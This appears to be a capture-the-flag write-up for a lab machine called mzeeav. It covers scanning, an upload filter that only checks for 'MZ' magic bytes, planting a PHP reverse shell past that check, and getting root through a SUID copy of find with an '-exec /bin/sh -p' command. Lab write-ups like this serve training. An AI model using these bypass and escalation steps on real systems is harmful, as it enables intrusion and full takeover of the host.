Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: MZEE-AV - Check your files
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
Device type: general purpose
Enumeration
Gobuster:
backups (Status: 301) [Size: 318] [--> http://192.168.102.33/backups/]
index.html (Status: 200) [Size: 1482]
index.html (Status: 200) [Size: 1482]
listing.php (Status: 200) [Size: 1403]
server-status (Status: 403) [Size: 279]
upload (Status: 301) [Size: 317] [--> http://192.168.102.33/upload/]
upload.php (Status: 200) [Size: 22]
The index.html page has an upload tool that apparently uploads and scans a given file.
The backups directory takes us to a zip file containing source code for some of the pages.
The source for upload.php (which is handling the upload mechanics) reveals that the tool scans files for the magic bytes 4D5A. This appears to be the only validation.
Exploitation
We can add these bytes to the beginning of a php reverse shell. The characters derive to MZ, so we put that at he beginning of our shell script. The file is housed in the /upload directory.
Open a listener and catch the shell.
Privilege Escalation
After we upgrade the terminal, we run linpeas.
Linpeas find an unusual SUID binary called fileS. It appears to list the contents of a directory if you give one as an argument.
www-data@mzeeav:/opt$ ./fileS -help
Usage: ./fileS [-H] [-L] [-P] [-Olevel] [-D debugopts] [path...] [expression]
default path is the current directory; default expression is -print
expression may consist of: operators, options, tests, and actions:
operators (decreasing precedence; -and is implicit where no others are given):
( EXPR ) ! EXPR -not EXPR EXPR1 -a EXPR2 EXPR1 -and EXPR2
EXPR1 -o EXPR2 EXPR1 -or EXPR2 EXPR1 , EXPR2
positional options (always true): -daystart -follow -regextype
normal options (always true, specified before other expressions):
-depth --help -maxdepth LEVELS -mindepth LEVELS -mount -noleaf
--version -xdev -ignore_readdir_race -noignore_readdir_race
tests (N can be +N or -N or N): -amin N -anewer FILE -atime N -cmin N
-cnewer FILE -ctime N -empty -false -fstype TYPE -gid N -group NAME
-ilname PATTERN -iname PATTERN -inum N -iwholename PATTERN -iregex PATTERN
-links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE
-nouser -nogroup -path PATTERN -perm [-/]MODE -regex PATTERN
-readable -writable -executable
-wholename PATTERN -size N[bcwkMG] -true -type [bcdpflsD] -uid N
-used N -user NAME -xtype [bcdpfls] -context CONTEXT
actions: -delete -print0 -printf FORMAT -fprintf FILE FORMAT -print
-fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit
-exec COMMAND ; -exec COMMAND {} + -ok COMMAND ;
-execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND ;
Valid arguments for -D:
exec, opt, rates, search, stat, time, tree, all, help
Use '-D help' for a description of the options, or see find(1)
Please see also the documentation at http://www.gnu.org/software/findutils/.
You can report (and track progress on fixing) bugs in the "./fileS"
program via the GNU findutils bug-reporting page at
https://savannah.gnu.org/bugs/?group=findutils or, if
you have no web access, by sending email to <bug-findutils@gnu.org>.
Notice: Please see also the documentation at http://www.gnu.org/software/findutils/
So this may be similar to the find command.
GTFOBins has a SUID entry for an elevated shell.
www-data@mzeeav:/opt$ /opt/fileS . -exec /bin/sh -p \; -quit
# whoami
root
# cd /root
# cat proof.txt
Done.